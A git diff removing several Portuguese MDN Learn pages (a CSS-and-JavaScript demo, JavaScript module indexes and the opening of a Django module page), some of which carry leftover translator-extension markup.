- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
-</tbody></table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody><tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
-</tbody></table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/learn/javascript/client-side_web_apis/manipulating_documents/index.html b/files/pt-pt/learn/javascript/client-side_web_apis/manipulating_documents/index.html
deleted file mode 100644
index c45af40a6a..0000000000
--- a/files/pt-pt/learn/javascript/client-side_web_apis/manipulating_documents/index.html
+++ /dev/null
@@ -1,161 +0,0 @@
----
-title: JavaScript
-slug: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents
-tags:
- - CSS:Como_começar
-translation_of: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents
-translation_of_original: Web/Guide/CSS/Getting_started/JavaScript
-original_slug: Web/CSS/Como_começar/JavaScript
----
-<p>{{ PreviousNext("CSS:Como começar:Mídia", "CSS:Como começar:XBL bindings") }}</p>
-
-<p>Esta é a Parte II do tutorial. A Parte II contém alguns exemplos que mostram o escopo do CSS no Mozilla.</p>
-
-<p>Cada página na Parte II ilustra como o CSS interage com algumas outras tecnologias. Estas páginas não são desenhadas para ensinar como usar estas outras tecnologias. Vá para outros tutorias para aprender isto em detalhes.</p>
-
-<p>Em vez disso, estas páginas são desenhadas para ilustrar os muitos usos do CSS. Para usar estas páginas, você deve ter um conhecimento em CSS, mas você não precisa qualquer conhecimento em outras tecnologias.</p>
-
-<h2 id="Informa.C3.A7.C3.A3o:_JavaScript" name="Informa.C3.A7.C3.A3o:_JavaScript">Informação: JavaScript</h2>
-
-<p>JavaScript é uma <em>linguagem de programação</em>. Quando você usa alguma aplicação Mozilla (por exemplo, seu naverador Mozilla) muito do código que o seu computador roda é escrito em JavaScript.</p>
-
-<p>JavaScript pode interagir com folhas de estilo, permitindo a você escrever programas que mudem o estilo do documento dinamicamente.</p>
-
-<p>Existem três maneiras para fazer isto:</p>
-
-<ul>
- <li>Trabalhando com uma lista de folhas de estilo no documento — por exemplo: adicionando, removendo ou modificando uma folha de estilo.</li>
- <li>Trabalhando com as regras de uma folha de estilo — por exemplo: adicionando, removendo ou modificando uma regra.</li>
- <li>Trabalhando com um elemento individual no DOM — modificando seu estilo independentemente da folha de estilo do seu documento.</li>
-</ul>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em; width: 100%;">
- <caption>Mais detalhes</caption>
- <tbody>
- <tr>
- <td>Para mais informações sobre JavaScript no Mozilla, veja a página <a href="/pt/JavaScript" title="pt/JavaScript">JavaScript</a> neste wiki.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="A.C3.A7.C3.A3o:_Uma_demonstra.C3.A7.C3.A3o_de_JavaScript" name="A.C3.A7.C3.A3o:_Uma_demonstra.C3.A7.C3.A3o_de_JavaScript">Ação: Uma demonstração de JavaScript</h2>
-
-<p>Criei um novo documento HTML, <code>doc5.html</code>. Copie e cole o conteúdo daqui, tendo certeza de ter rolado a tela e pego tudo isto:</p>
-
-<div style="width: 48em; height: 12em; overflow: auto;">
-<pre>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN"&gt;
-&lt;HTML&gt;
-
-&lt;HEAD&gt;
-&lt;TITLE&gt;Como Começar Mozilla CSS - Demonstração JavaScript&lt;/TITLE&gt;
-&lt;LINK rel="stylesheet" type="text/css" href="style5.css"&gt;
-&lt;SCRIPT type="text/javascript" src="script5.js"&gt;&lt;/SCRIPT&gt;
-&lt;/HEAD&gt;
-
-&lt;BODY&gt;
-&lt;H1&gt;JavaScript de amostra&lt;/H1&gt;
-
-&lt;DIV id="square"&gt;&lt;/DIV&gt;
-
-&lt;BUTTON type="button" onclick="doDemo(this);"&gt;Clique Aqui&lt;/BUTTON&gt;
-
-&lt;/BODY&gt;
-&lt;/HTML&gt;
-</pre>
-</div>
-
-<p>Crie um novo arquivo CSS, <code>style5.css</code>. Copie e cole o conteúdo daqui:</p>
-
-<div style="width: 48em;">
-<pre>/*** Demonstração JavaScript ***/
-#square {
- width: 20em;
- height: 20em;
- border: 2px inset gray;
- margin-bottom: 1em;
- }
-
-button {
- padding: .5em 2em;
- }
-</pre>
-</div>
-
-<p>Crie um novo arquivo de texo, <code>script5.js</code>. Copie e cole o conteúdo daqui:</p>
-
-<div style="width: 48em;">
-<pre>// Demonstração JavaScript
-function doDemo (button) {
- var square = document.getElementById("square")
- square.style.backgroundColor = "#fa4"
- button.setAttribute("disabled", "true")
- setTimeout(clearDemo, 2000, button)
- }
-
-function clearDemo (button) {
- var square = document.getElementById("square")
- square.style.backgroundColor = "transparent"
- button.removeAttribute("disabled")
- }
-</pre>
-</div>
-
-<p>Abra o documento no seu navegador e pressione o botão.</p>
-
-<p>Este wiki não suporta o JavaScript nas páginas, então não é possível mostrar a demonstração aqui. Deve se parecer como isto, antes e depois de você pressionar o botão:</p>
-
-<table>
- <tbody>
- <tr>
- <td style="padding-right: 2em;">
- <table style="border: 2px outset #36b; padding: 0 1em .5em .5em;">
- <tbody>
- <tr>
- <td>
- <p><strong>Demonstração JavaScript</strong></p>
- </td>
- </tr>
- </tbody>
- </table>
- </td>
- <td>
- <table style="border: 2px outset #36b; padding: 0 1em .5em .5em;">
- <tbody>
- <tr>
- <td>
- <p><strong>Demonstração JavaScript</strong></p>
- </td>
- </tr>
- </tbody>
- </table>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p>Notas sobre esta demonstração:</p>
-
-<ul>
- <li>O documento HTML é ligado à folha de estilo normalmente, e também é ligado ao script.</li>
- <li>O script trabalha com elementos individuais no DOM. Isto modifica o estilo dos quadrados diretamente, porém, modifica o estilo do botão indiretamente mudando um atributo.</li>
- <li>Em JavaScript, <code>document.getElementById("square")</code> é similar em função ao seletor CSS <code>#square</code>.</li>
- <li>Em JavaScript, <code>backgroundColor</code> corresponde à propriedade <code>background-color</code> do CSS.</li>
- <li>Seu navegador tem uma regra construída das CSS para <code>button{{ mediawiki.external('disabled=\"true\"') }}</code> que muda a aparência do botão quando ele está desabilitado.</li>
-</ul>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: .5em;">
- <caption>Desafio</caption>
- <tbody>
- <tr>
- <td>Mude o script de modo que o quadrado salte para a direita em 20 em quando sua cor mudar, e salte para trás mais tarde.</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="O_que_vem_depois.3F" name="O_que_vem_depois.3F">O que vem depois?</h3>
-
-<p>Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de <a href="/Talk:pt/CSS/Como_come%C3%A7ar/JavaScript" title="Talk:pt/CSS/Como_começar/JavaScript">Discussão</a>.</p>
-
-<p>Nesta demonstração, o documento HTML linka o script mesmo que somente o elemento button use o script. Mozilla extende o CSS para que possa ser ligado ao código JavaScript (e também conteúdo e outras folhas de estilo) para elementos selecionados. A próxima página demonstra isto: <strong><a href="/pt/CSS/Como_come%C3%A7ar/XBL_bindings" title="pt/CSS/Como_começar/XBL_bindings">XBL bindings</a></strong></p>
-
-<p>{{ PreviousNext("CSS:Como começar:Mídia", "CSS:Como começar:XBL bindings") }}</p>
diff --git a/files/pt-pt/learn/javascript/first_steps/index.html b/files/pt-pt/learn/javascript/first_steps/index.html
deleted file mode 100644
index 686bc9d07d..0000000000
--- a/files/pt-pt/learn/javascript/first_steps/index.html
+++ /dev/null
@@ -1,144 +0,0 @@
----
-title: JavaScript - Os Primeiros Passos
-slug: Learn/JavaScript/First_steps
-tags:
- - Artigo
- - Avaliação
- - Guía
- - JavaScript
- - Numeros
- - Operadores
- - Principiante
- - Variáveis
- - l10n:priority
- - modulo
- - strings
-translation_of: Learn/JavaScript/First_steps
-original_slug: Learn/JavaScript/Primeiros_passos
----
-<div>{{LearnSidebar}}</div>
-
-<p class="summary">In our first JavaScript module, we first answer some fundamental questions such as "what is JavaScript?", "what does it look like?", and "what can it do?", before moving on to taking you through your first practical experience of writing JavaScript. After that, we discuss some key building blocks in detail, such as variables, strings, numbers and arrays.</p>
-
-<h2 id="Pré-requisitos">Pré-requisitos</h2>
-
-<p>Before starting this module, you don't need any previous JavaScript knowledge, but you should have some familiarity with HTML and CSS. You are advised to work through the following modules before starting on JavaScript:</p>
-
-<ul>
- <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Getting_started_with_the_web">Getting started with the Web</a> (which includes a really <a href="/en-US/docs/Learn/Getting_started_with_the_web/JavaScript_basics">basic JavaScript introduction</a>).</li>
- <li><a href="/pt-PT/docs/Learn/HTML/Introducao_ao_HTML">Introdução ao  HTML</a>.</li>
- <li><a href="/pt-PT/docs/Learn/CSS/Introduction_to_CSS">Introdução ao CSS</a>.</li>
-</ul>
-
-<div class="note">
-<p><strong>Nota</strong>: If you are working on a computer/tablet/other device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as <a href="http://jsbin.com/">JSBin</a> or <a href="https://thimble.mozilla.org/">Thimble</a>.</p>
-</div>
-
-<h2 id="Guias">Guias</h2>
-
-<dl>
- <dt><a href="/pt-PT/docs/Learn/JavaScript/First_steps/O_que_e_JavaScript">O que é o JavaScript?</a></dt>
- <dd>Welcome to the MDN beginner's JavaScript course! In this first article we will look at JavaScript from a high level, answering questions such as "what is it?", and "what is it doing?", and making sure you are comfortable with JavaScript's purpose.</dd>
- <dt><a href="/en-US/docs/Learn/JavaScript/First_steps/A_first_splash">A first splash into JavaScript</a></dt>
- <dd>Now you've learned something about the theory of JavaScript, and what you can do with it, we are going to give you a crash course in the basic features of JavaScript via a completely practical tutorial. Here you'll build up a simple "Guess the number" game, step by step.</dd>
- <dt><a href="/en-US/docs/Learn/JavaScript/First_steps/What_went_wrong">What went wrong? Troubleshooting JavaScript</a></dt>
- <dd>When you built up the "Guess the number" game in the previous article, you may have found that it didn't work. Never fear — this article aims to save you from tearing your hair out over such problems by providing you with some simple tips on how to find and fix errors in JavaScript programs.</dd>
- <dt><a href="/en-US/docs/Learn/JavaScript/First_steps/Variables">Storing the information you need — Variables</a></dt>
- <dd>After reading the last couple of articles you should now know what JavaScript is, what it can do for you, how you use it alongside other web technologies, and what its main features look like from a high level. In this article we will get down to the real basics, looking at how to work with most basic building blocks of JavaScript — Variables.</dd>
- <dt><a href="/en-US/docs/Learn/JavaScript/First_steps/Math">Basic math in JavaScript — numbers and operators</a></dt>
- <dd>At this point in the course we discuss maths in JavaScript — how we can combine operators and other features to successfully manipulate numbers to do our bidding.</dd>
- <dt><a href="/en-US/docs/Learn/JavaScript/First_steps/Strings">Handling text — strings in JavaScript</a></dt>
- <dd>Next we'll turn our attention to strings — this is what pieces of text are called in programming. In this article we'll look at all the common things that you really ought to know about strings when learning JavaScript, such as creating strings, escaping quotes in string, and joining them together.</dd>
- <dt><a href="/en-US/docs/Learn/JavaScript/First_steps/Useful_string_methods">Useful string methods</a></dt>
- <dd>Now we've looked at the very basics of strings, let's move up a gear and start thinking about what useful operations we can do on strings with built-in methods, such as finding the length of a text string, joining and splitting strings, substituting one character in a string for another, and more.</dd>
- <dt><a href="/en-US/docs/Learn/JavaScript/First_steps/Arrays">Arrays</a></dt>
- <dd>In the final article of this module, we'll look at arrays — a neat way of storing a list of data items under a single variable name. Here we look at why this is useful, then explore how to create an array, retrieve, add, and remove items stored in an array, and more besides.</dd>
-</dl>
-
-<h2 id="Avaliações">Avaliações</h2>
-
-<p>The following assessment will test your understanding of the JavaScript basics covered in the guides above.</p>
-
-<dl>
- <dt><a href="/en-US/docs/Learn/JavaScript/First_steps/Silly_story_generator">Silly story generator</a></dt>
- <dd>In this assessment you'll be tasked with taking some of the knowledge you've picked up in this module's articles and applying it to creating a fun app that generates random silly stories. Have fun!</dd>
-</dl>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 0; display: none; left: -8px; top: -25px; transition: visibility 2s ease 0s, opacity 2s linear 0s;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody><tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
-</tbody></table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody><tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
-</tbody></table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/learn/javascript/index.html b/files/pt-pt/learn/javascript/index.html
deleted file mode 100644
index ecaa2d6fad..0000000000
--- a/files/pt-pt/learn/javascript/index.html
+++ /dev/null
@@ -1,63 +0,0 @@
----
-title: JavaScript
-slug: Learn/JavaScript
-tags:
- - CodingScripting
- - JavaScript
- - Landing
- - Principiante
- - Tópico
- - 'l10n:priority'
- - modulo
-translation_of: Learn/JavaScript
----
-<div>{{LearnSidebar}}</div>
-
-<p class="summary">{{Glossary("JavaScript")}} is a programming language that allows you to implement complex things on web pages. Every time a web page does more than just sit there and display static information for you to look at — displaying timely content updates, or interactive maps, or animated 2D/3D graphics, or scrolling video jukeboxes, and so on — you can bet that JavaScript is probably involved.</p>
-
-<h2 id="Caminho_de_aprendizagem">Caminho de aprendizagem</h2>
-
-<p>JavaScript is arguably more difficult to learn than related technologies such as <a href="/en-US/docs/Learn/HTML">HTML</a> and <a href="/en-US/docs/Learn/CSS">CSS</a>. Before attempting to learn JavaScript, you are strongly advised to get familiar with at least these two technologies first, and perhaps others as well. Start by working through the following modules:</p>
-
-<ul>
- <li><a href="/en-US/docs/Learn/Getting_started_with_the_web">Getting started with the Web</a></li>
- <li><a href="/en-US/docs/Web/Guide/HTML/Introduction">Introduction to HTML</a></li>
- <li><a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">Introduction to CSS</a></li>
-</ul>
-
-<p>Having previous experience with other programming languages might also help.</p>
-
-<p>After getting familiar with the basics of JavaScript, you should be in a position to learn about more advanced topics, for example:</p>
-
-<ul>
- <li>JavaScript in depth, as taught in our <a href="/en-US/docs/Web/JavaScript/Guide">JavaScript guide</a></li>
- <li><a href="/en-US/docs/Web/API">Web APIs</a></li>
-</ul>
-
-<h2 id="Módulos">Módulos</h2>
-
-<p>This topic contains the following modules, in a suggested order for working through them.</p>
-
-<dl>
- <dt><a href="/en-US/docs/Learn/JavaScript/First_steps">JavaScript first steps</a></dt>
- <dd>In our first JavaScript module, we first answer some fundamental questions such as "what is JavaScript?", "what does it look like?", and "what can it do?", before moving on to taking you through your first practical experience of writing JavaScript. After that, we discuss some key JavaScript features in detail, such as variables, strings, numbers and arrays.</dd>
- <dt><a href="/en-US/docs/Learn/JavaScript/Building_blocks">JavaScript building blocks</a></dt>
- <dd>In this module, we continue our coverage of all JavaScript's key fundamental features, turning our attention to commonly-encountered types of code block such as conditional statements, loops, functions, and events. You've seen this stuff already in the course, but only in passing — here we'll discuss it all explicitly.</dd>
- <dt><a href="/en-US/docs/Learn/JavaScript/Objects">Introducing JavaScript objects</a></dt>
- <dd>In JavaScript, most things are objects, from core JavaScript features like strings and arrays to the browser APIs built on top of JavaScript. You can even create your own objects to encapsulate related functions and variables into efficient packages. The object-oriented nature of JavaScript is important to understand if you want to go further with your knowledge of the language and write more efficient code, therefore we've provided this module to help you. Here we teach object theory and syntax in detail, look at how to create your own objects, and explain what JSON data is and how to work with it.</dd>
- <dt><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs">Client-side web APIs</a></dt>
- <dd>When writing client-side JavaScript for web sites or applications, you won't go very far before you start to use APIs — interfaces for manipulating different aspects of the browser and operating system the site is running on, or even data from other web sites or services. In this module we will explore what APIs are, and how to use some of the most common APIs you'll come across often in your development work. </dd>
-</dl>
-
-<h2 id="Resolver_problemas_comuns_de_JavaScript">Resolver problemas  comuns de JavaScript</h2>
-
-<p><a href="/en-US/docs/Learn/JavaScript/Howto">Use JavaScript to solve common problems</a> provides links to sections of content explaining how to use JavaScript to solve very common problems when creating a webpage.</p>
-
-<h2 id="Consulte_também">Consulte também:</h2>
-
-<dl>
- <dt><a href="/pt-PT/docs/Web/JavaScript">JavaScript on MDN</a></dt>
- <dd>The main entry point for core JavaScript documentation on MDN — this is where you'll find extensive reference docs on all aspects of the JavaScript language, and some advanced tutorials aimed at experienced JavaScripters.</dd>
- <dt><a href="https://www.youtube.com/user/codingmath">Coding math</a></dt>
- <dd>An excellent series of video tutorials to teach the math you need to understand to be an effective programmer, by <a href="https://twitter.com/bit101">Keith Peters</a>.</dd>
-</dl>
diff --git a/files/pt-pt/learn/server-side/django/index.html b/files/pt-pt/learn/server-side/django/index.html
deleted file mode 100644
index fb11f153e5..0000000000
--- a/files/pt-pt/learn/server-side/django/index.html
+++ /dev/null
@@ -1,69 +0,0 @@
----
-title: Framework da Web Django (Python)
-slug: Learn/Server-side/Django
-tags:
- - Aprender
- - CodingScripting
- - Introdução
- - Principiante
- - Programação no lado do servidor
- - Python
- - django
-translation_of: Learn/Server-side/Django
-original_slug: Learn/No-servidor/Django
----
-<div>{{LearnSidebar}}</div>
-
-<p>Django é uma framework da <em>web</em> do lado do servidor extremamente popular e cheia de recursos, escrita em Python. O módulo mostra-lhe porque Django é uma das frameworks mais populares de servidor da <em>web</em>, como configurar um ambiente de desenvolvimento, e como começar a utilizá-lo para criar as suas próprias aplicações da <em>web</em>.</p>
-
-<h2 id="Pré-requisitos">Pré-requisitos</h2>
-
-<p>Before starting this module you don't need to have any knowledge of Django. Ideally, you would need to understand what server-side web programming and web frameworks are by reading the topics in our <a href="/en-US/docs/Learn/Server-side/First_steps">Server-side website programming first steps</a> module.</p>
-
